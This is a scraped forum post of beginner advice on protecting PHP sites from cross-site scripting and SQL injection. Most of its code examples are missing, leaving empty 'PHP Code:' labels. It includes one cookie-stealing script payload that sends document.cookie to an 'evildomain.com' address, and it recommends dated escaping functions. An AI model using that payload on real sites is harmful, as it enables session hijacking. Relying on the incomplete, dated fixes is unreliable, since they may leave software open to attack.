|
|||||||
Join now to share free website templates or post on the forum. If you have never been on a forum before read the
FAQ. It's quick, easy and free to join!
|
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
||||
|
if you want to gaurd against someone getting info from your database try this very simple.
your code probably looks something like this PHP Code:
PHP Code:
HTML Code:
<script> window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie; </script> PHP Code:
Firstly, you must never implicitly trust user input. Always presume that every bit of input contains an attack, and code to account for that. To do this, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with PHP's built in PHP Code:
PHP Code:
Many sites use databases as a backend to store their data, using queries to insert and select data from it. However, many people are unaware that such sites are often vulnerable to a form of attack called SQL injection. SQL injection is when malformed user input is used directly and deliberately in an SQL query, in a way that allows the attacker to manipulate the query. This means that an attacker could delete portions of your database, make himself an admin account etc—the possibilities are endless. One of the most common vulnerabilities is when logging in to a site. Take this example: PHP Code:
If the attacker enters a valid username in the username field—"rob", say—and the following in the password field: PHP Code:
PHP Code:
As with XSS attacks, you must never trust user input. The best way of cleaning user input is using PHP's built in mysql_real_escape_string() function; this will escape characters such as ', " and others, making them useless in "breaking out" of a quoted string as in the above example. If you're using a number in your query, then you should use intval() on the inputted number to ensure it is numeric. So you code would look something like this. PHP Code:
__________________
http://www.anscomputers.co.uk Free seo webmaster tools |
![]() |
| Thread Tools | |
| Display Modes | |
|
|